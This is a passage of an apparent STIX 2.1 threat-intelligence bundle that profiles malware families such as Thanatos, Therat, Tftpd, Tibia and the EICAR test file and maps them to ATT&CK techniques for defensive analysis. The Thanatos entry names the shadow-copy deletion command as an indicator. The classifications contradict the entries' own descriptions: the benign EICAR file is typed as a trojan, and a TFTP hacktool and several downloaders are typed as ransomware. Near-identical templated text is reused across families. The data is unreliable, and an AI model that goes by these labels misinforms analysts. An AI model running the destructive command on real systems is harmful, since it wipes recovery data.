      "description": "Teslacrypt exhibits technique T1189 (Drive-by Compromise (Angler Exploit Kit distribution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c84e2202-1cb5-5d19-a497-1bfc60172546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3035ec-6993-5430-ba16-e767c3b96e19",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teslacrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2362f4a6-d86a-5f9f-a93a-5f9089b27e24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3035ec-6993-5430-ba16-e767c3b96e19",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teslacrypt exhibits technique T1083 (File and Directory Discovery (Scanning for 185+ extensions))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--12723343-41e3-55c8-b59e-2bc8a9ef1090",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Testfile",
      "description": "Virus:DOS/Testfile (or EICAR-like generic detections) typically refers to benign files explicitly designed to trigger a positive response from antivirus software. These files are used for testing, validation, and benchmarking of security products without introducing actual malicious code into an environment.<br><br><b>Understanding Testfile (EICAR & Generics)</b><br>To an end-user or system administrator, seeing an alert for 'Testfile' or 'EICAR-Test-Signature' can initially cause panic. However, this is usually the desired outcome during a planned test of endpoint defenses or email filtering. The most famous example is the EICAR standard antivirus test file, a simple, non-replicating string of text that all reputable AV vendors have agreed to flag as malicious.<br><br><b>Execution and Testing Mechanics</b><br>Testfiles do not employ actual exploit vectors or persistence mechanisms. They are intentionally downloaded, emailed, or executed by a network administrator (`T1204.002`) to verify that the security infrastructure is functioning correctly. When the AV scanner encounters the specific byte sequence or hash associated with the Testfile, it deliberately halts the operation (e.g., blocks the download, quarantines the file, or drops the email) and generates an alert. This proves that the detection engine is active and the alerting pipeline to the SIEM is operational.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is zero; there is no actual malware, data theft, or system damage. The only IoC is the alert generated by the AV engine. If a 'Testfile' alert occurs outside of a scheduled testing window, it might indicate that a user accidentally downloaded a test file while researching antivirus software, or, rarely, that a threat actor is probing the environment to map out the defensive capabilities before launching a real attack. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Testfile",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/testfile"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6adfb53-b5c3-5208-8e35-95d8558c487e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12723343-41e3-55c8-b59e-2bc8a9ef1090",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Testfile exhibits technique T1204.002 (User Execution: Malicious File (Intentionally executing the test file))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e39acb3-d3de-582f-9380-e8c937d7ee64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tftpd",
      "description": "HackTool:Win32/Tftpd is a critical detection that flags the presence of an unauthorized Trivial File Transfer Protocol (TFTP) daemon (server) running on a Windows endpoint. While TFTP is a legitimate protocol often used for booting network devices (PXE), its lack of authentication or encryption makes it incredibly dangerous on a standard workstation. Attackers and worms heavily abuse TFTP to rapidly transfer malicious payloads into a compromised network.<br><br><b>Understanding Tftpd (Ingress Tool Transfer)</b><br>To an end-user, a running TFTP daemon is completely invisible. For a security administrator, this detection is a major red flag. It indicates that an attacker (or an automated worm like Blaster) has already achieved Remote Code Execution (RCE) on the endpoint and has intentionally spun up a TFTP server to pull down the rest of their toolkit (`T1105`), bypassing perimeter firewalls that might block inbound HTTP or FTP traffic.<br><br><b>Execution and Transfer Mechanics</b><br>A TFTP daemon is usually dropped onto a system after initial exploitation (`T1190`). For example, an attacker exploiting a vulnerability will send a small initial payload (shellcode). This shellcode then writes a tiny TFTP client or server (like `tftpd32.exe`) to the disk and executes it. The attacker then connects to this unauthenticated daemon over UDP port 69 and pushes their heavy payloads: keyloggers, ransomware, or persistent backdoors (`T1105`). Because TFTP uses UDP and requires no login, the transfer is fast and often evades basic network logging.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the facilitation of severe secondary infections. Host-based IoCs include the presence of known TFTP server executables (like `tftpd32.exe` or `tftpd64.exe`) in the `%Temp%` or `System32` directories, and EDR alerts for unverified processes opening listening sockets on UDP port 69. Network IoCs include anomalous inbound or outbound UDP traffic on port 69, especially originating from standard workstations rather than network infrastructure servers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tftpd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tftpd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79d22230-256f-535a-adce-e3da60eba4eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e39acb3-d3de-582f-9380-e8c937d7ee64",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tftpd exhibits technique T1105 (Ingress Tool Transfer (Using TFTP to download payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5f47633-783c-53ad-abbf-83ea4eeb136e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e39acb3-d3de-582f-9380-e8c937d7ee64",
      "target_ref": "attack-pattern--62a14fb2-1047-5333-b2dc-6dd9a2ed37b5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tftpd exhibits technique T1571 (Non-Standard Port (Abusing UDP 69 for C2/Transfer))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dfeb74e-252f-533a-9e0d-fc112e194ac7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e39acb3-d3de-582f-9380-e8c937d7ee64",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tftpd exhibits technique T1190 (Exploit Public-Facing Application (Often the precursor to dropping a TFTP daemon))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84484bef-3d9e-5011-9fa8-eef3946ff558",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tgrandongc",
      "description": "<h3>Executive Summary</h3>\nTgrandongc is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTgrandongc is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tgrandongc operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tgrandongc ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tgrandongc receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tgrandongc infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tgrandongc executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tgrandongc frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tgrandongc",
        "Downloader.Tgrandongc",
        "Win32/Tgrandongc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tgrandongc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tgrandongc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa52a766-ae4f-5606-aabe-0cce50544e9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84484bef-3d9e-5011-9fa8-eef3946ff558",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tgrandongc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85098514-7f8f-51dc-a352-44f1de8fd0d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84484bef-3d9e-5011-9fa8-eef3946ff558",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tgrandongc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--726098c5-d0e5-5e1b-9742-c963c7b8b636",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84484bef-3d9e-5011-9fa8-eef3946ff558",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tgrandongc exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--481fa915-1ac2-5785-b6fa-d08a0ae34cb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Thanatos",
      "description": "Ransom:Win32/Thanatos is a notorious **Cryptographic Ransomware** family, but it is infamous for a critical and catastrophic implementation flaw: it is effectively a Wiper. While Thanatos encrypts user files and demands a ransom in Bitcoin, Ethereum, or other cryptocurrencies, the malware authors made a fundamental error in their code: *they did not save the generated encryption keys anywhere*. This means that even if a victim pays the ransom, the attackers mathematically cannot decrypt the data.<br><br><b>Understanding Thanatos (The Accidental Wiper)</b><br>To an end-user, the impact is devastating. Files are rendered inaccessible, appended with the `.THANATOS` extension, and a `README.txt` ransom note is displayed. For a security analyst, Thanatos highlights the extreme risk of engaging with cybercriminals. Because it generates a *new, separate encryption key for every single file* and discards that key in memory once the encryption process is complete, the original data is permanently destroyed (`T1485`).<br><br><b>Execution and Flawed Cryptography</b><br>Thanatos was typically distributed via malspam campaigns containing malicious attachments or URLs (`T1566`). Upon execution (`T1204.002`), it establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key (`T1547.001`). The malware uses the Windows Cryptography API (bcrypt) to generate AES-256 keys. However, instead of encrypting these AES keys with a hardcoded attacker public RSA key (the standard ransomware model), Thanatos simply encrypts the file (`T1486`) and lets the AES key vanish from memory. Furthermore, it actively attempts to inhibit system recovery by terminating backup processes and deleting Volume Shadow Copies (`T1490`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total data loss. Host-based IoCs include EDR alerts for mass file modification, the execution of `vssadmin.exe delete shadows`, the presence of the `.THANATOS` file extension, and the `README.txt` ransom note demanding varied cryptocurrencies (unlike most ransomware which demands a single type). (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Thanatos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/thanatos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c19d5c4-1233-5ec5-bce4-065127889a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--481fa915-1ac2-5785-b6fa-d08a0ae34cb7",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thanatos exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e37a4269-5637-552e-a51e-38eaa32655c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--481fa915-1ac2-5785-b6fa-d08a0ae34cb7",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thanatos exhibits technique T1485 (Data Destruction (Due to flawed cryptography))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--919ce289-6baf-5d76-b06c-57606090a06b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--481fa915-1ac2-5785-b6fa-d08a0ae34cb7",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thanatos exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--199c5f95-a2ca-5291-9b66-7087c5d1d151",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--481fa915-1ac2-5785-b6fa-d08a0ae34cb7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thanatos exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--59ab970e-658f-5327-b784-1ca62abec33c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Therat",
      "description": "Trojan:Win32/Therat is a persistent, stealthy Remote Access Trojan (RAT) designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Therat</b><br>To an end-user, a Therat infection is typically invisible until the devastating secondary payload executes or obvious signs of remote control appear. For threat intelligence analysts, Therat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload or grant an attacker interactive shell access.<br><br><b>Execution and Evasion Strategies</b><br>Therat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Therat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Therat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Therat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/therat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8540220-8f54-5dd4-abcc-6a7ceb731a72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59ab970e-658f-5327-b784-1ca62abec33c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Therat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--168c5fa2-53dd-59fc-8272-f5c7c24646f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59ab970e-658f-5327-b784-1ca62abec33c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Therat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fab9a9d8-9f28-59eb-98ec-5a4ddd4dcbc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59ab970e-658f-5327-b784-1ca62abec33c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Therat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1889e2a6-15df-595b-badf-1b2d65fc3cb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59ab970e-658f-5327-b784-1ca62abec33c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Therat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66abd47f-c383-5ce3-9cd0-b1efe7f47e81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59ab970e-658f-5327-b784-1ca62abec33c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Therat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31df1ecd-1a28-516e-9bce-feb985fcd2e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Thoper",
      "description": "Trojan:Win32/Thoper is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Thoper</b><br>To an end-user, a Thoper infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Thoper is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Thoper is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Thoper frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Thoper reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Thoper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/thoper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bbd0a90-d7f6-577b-b366-f81f46f23856",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31df1ecd-1a28-516e-9bce-feb985fcd2e1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thoper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57495b41-df04-5260-96ce-59bf820ee8cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31df1ecd-1a28-516e-9bce-feb985fcd2e1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thoper exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3412ff99-efa8-599d-9fa9-521acc5e572e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31df1ecd-1a28-516e-9bce-feb985fcd2e1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thoper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c004bbb-657d-5277-9345-48a166561c28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31df1ecd-1a28-516e-9bce-feb985fcd2e1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thoper exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--977e1e79-d5ab-59f7-9b4a-e57d971f8b2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31df1ecd-1a28-516e-9bce-feb985fcd2e1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Thoper exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8ec3a914-0023-53be-bbad-8ddf29d393df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tibia",
      "description": "PWS:Win32/Tibia (often referred to as a 'Tibia Cam' or Tibia Stealer) is a highly specific Password Stealer (PWS) designed exclusively to target players of the classic MMORPG, **Tibia**. This malware family demonstrates how threat actors create specialized tools to compromise specific online communities in order to steal virtual assets, in-game currency, and high-level accounts for real-world financial gain.<br><br><b>Understanding Tibia Stealers</b><br>To an end-user, a Tibia stealer is completely invisible, masquerading as a legitimate, highly sought-after game modification or utility. The victim only realizes they are infected when they log into the game and find their character stripped of all valuable items. For a security analyst, this malware highlights the risk of users downloading unverified software to gain an advantage in online ecosystems.<br><br><b>Execution and Theft Mechanics</b><br>Tibia stealers are heavily distributed via social engineering within the game's community forums and fan sites. They are typically disguised as 'Tibia Cam' software (used to record gameplay), automated bots (for farming experience), or 'light hacks' (`T1204.002`). Upon execution, the malware establishes persistence (`T1547.001`). Its core function is highly specialized: it monitors the system for the execution of the official `Tibia.exe` client. When the user launches the game, the malware either injects a keylogger specifically to capture the account name and password entered at the login screen (`T1056.001`), or it uses API hooking to read the credentials directly from the game client's memory space before they are encrypted and sent to the game server. The stolen credentials are then immediately emailed or sent via HTTP POST to the attacker (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total loss of the victim's Tibia account and associated virtual wealth. Host-based IoCs include EDR alerts for suspicious processes attempting to read the memory of or inject into `Tibia.exe`. The presence of unauthorized 'Tibia Cam' or botting executables in the user's download directory is a primary indicator. Network IoCs include anomalous outbound SMTP or HTTP traffic containing account strings immediately following a game launch. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tibia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tibia"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d30e41a-6f00-5d6c-b835-728f74acd370",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ec3a914-0023-53be-bbad-8ddf29d393df",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tibia exhibits technique T1056.001 (Input Capture: Keylogging (Targeting the game client login))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96a7730a-6c93-53b9-af4e-cc8a198da221",
      "created": "2026-01-01T00:00:00.000Z",
